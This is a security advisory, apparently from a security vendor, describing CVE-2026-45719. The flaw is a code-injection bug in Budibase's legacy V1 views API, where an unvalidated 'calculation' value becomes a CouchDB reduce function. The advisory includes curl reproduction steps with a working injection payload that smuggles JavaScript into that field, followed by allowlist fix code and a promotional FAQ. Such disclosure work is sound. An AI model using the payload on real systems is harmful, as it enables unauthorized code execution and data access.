CVE-2026-45719

Security Advisory: CouchDB Reduce Injection via Unsanitized Calculation Parameter in V1 Views API

Affected Software: Budibase
Affected Component: packages/server/src/api/controllers/view/viewBuilder.ts, packages/server/src/api/routes/view.ts
CWE: CWE-94 (Improper Control of Generation of Code)
Discovery Date: 2026-03-24

The V1 Views API (POST /api/views) accepts a calculation parameter from the request body that is interpolated directly into a CouchDB reduce function definition without validation. Although an internal SCHEMA_MAP object defines the valid calculation types (sum, count, stats), no actual validation is performed against this map before the value is used in string interpolation.

A user with Builder permissions can inject arbitrary JavaScript code that will be executed within the CouchDB JavaScript engine when the view is queried.

Affected Component

Route: POST /api/views (V1 legacy views endpoint)
File: packages/server/src/api/routes/view.ts, line 45

.post("/api/views", viewController.v1.save)

Note: This route has no Joi request body validator, unlike the V2 views endpoint which uses viewValidator().

Vulnerable code: packages/server/src/api/controllers/view/viewBuilder.ts, line 213

const reduction = field && calculation ? { reduce: `_${calculation}` } : {}

return {
  meta: { field, tableId, groupBy, filters, schema, calculation, ... },
  map: `function (doc) { ... }`,
  ...reduction,    // <-- unvalidated calculation string becomes CouchDB reduce
}

Vulnerability Detail

The viewBuilder function constructs a CouchDB design document view definition. It correctly sanitizes all inputs that flow into the map function string (using JSON.stringify for field names and a strict TOKEN_MAP allowlist for filter operators).

However, the calculation parameter follows a different path:

1. User submits calculation via POST /api/views request body
2. No Joi validator is present on this V1 route
3. viewBuilder receives calculation as a raw string
4. It is interpolated as: reduce: `_${calculation}`
5. This reduce definition is saved to a CouchDB design document
6. When the view is queried, CouchDB evaluates the reduce value

CouchDB's behavior for reduce functions:

• Values starting with _ followed by a known built-in (_sum, _count, _stats) are executed as native reducers
• Any other value is treated as a JavaScript function string and executed in CouchDB's SpiderMonkey JS engine

The SCHEMA_MAP object in the same file defines sum, count, and stats as valid keys, but this map is only used for schema construction, it is never used as an input validator for the calculation parameter.

Steps to Reproduce

Prerequisites: Authenticated session with Builder role permissions.

1. Send a crafted view creation request:

curl -X POST https://<budibase-instance>/api/views \
  -H "Content-Type: application/json" \
  -H "Cookie: <builder-session-cookie>" \
  -d '{
    "name": "test_view",
    "tableId": "<valid-table-id>",
    "field": "amount",
    "calculation": "stats\"); } function(keys,values,rereduce){ var data = \"\"; for(var i in this) { data += i + \"=\" + this[i] + \",\"; } return data; } //"
  }'

2. Query the created view:

curl https://<budibase-instance>/api/views/test_view?group=true \
  -H "Cookie: <builder-session-cookie>"

3. Expected result: The injected JavaScript function executes in CouchDB's JS context during reduce evaluation. The function can:

• Enumerate objects available in the CouchDB sandbox
• Access document data from the reduce values parameter
• Return arbitrary data in the view response

Simplified test: To verify the injection point without complex payloads:

{
  "name": "calc_test",
  "tableId": "<valid-table-id>",
  "field": "amount",
  "calculation": "INVALID_NOT_A_BUILTIN"
}

This produces reduce: "_INVALID_NOT_A_BUILTIN". CouchDB will reject this as neither a valid built-in nor a valid function, confirming that arbitrary strings reach the reduce evaluator.

Additional Context

The V2 views API (POST /api/v2/views) uses viewValidator() with Joi schema validation and a separate calculation handling path. This finding is specific to the V1 legacy endpoint which lacks equivalent input validation.

The map function string in the same code is properly protected, all user inputs reaching it are escaped via JSON.stringify() or validated against a strict TOKEN_MAP allowlist. Only the reduce path is affected.

• Code execution: Arbitrary JavaScript runs in CouchDB's SpiderMonkey sandbox
• Data access: The reduce function receives all matching document values, allowing data exfiltration across the database
• Scope limitation: CouchDB's JS sandbox prevents filesystem or network access, this is not OS-level RCE
• Authentication required: Attacker must have Builder role, which already grants significant application access
• Persistence: The injected reduce function persists in the design document and executes on every view query

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-45719 has a CVSS score of 6.5 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.38.1); upgrading removes the vulnerable code path.

Kodem intelligence

Add an allowlist validation in viewBuilder before the reduce interpolation:

const VALID_CALCULATIONS = ["sum", "count", "stats"];

if (calculation && !VALID_CALCULATIONS.includes(calculation)) {
  throw new Error(`Invalid calculation type: ${calculation}`);
}

const reduction = field && calculation ? { reduce: `_${calculation}` } : {};

Additionally, add a Joi validator to the V1 views route to match the V2 endpoint:

// In packages/server/src/api/routes/view.ts
.post("/api/views", v1ViewValidator(), viewController.v1.save)

1. What is CVE-2026-45719? CVE-2026-45719 is a medium-severity code injection vulnerability in @budibase/server (npm), affecting versions < 3.38.1. It is fixed in 3.38.1. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-45719? CVE-2026-45719 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @budibase/server are affected by CVE-2026-45719? @budibase/server (npm) versions < 3.38.1 is affected.
4. Is there a fix for CVE-2026-45719? Yes. CVE-2026-45719 is fixed in 3.38.1. Upgrade to this version or later.
5. Is CVE-2026-45719 exploitable, and should I be worried? Whether CVE-2026-45719 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45719 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45719? Upgrade @budibase/server to 3.38.1 or later.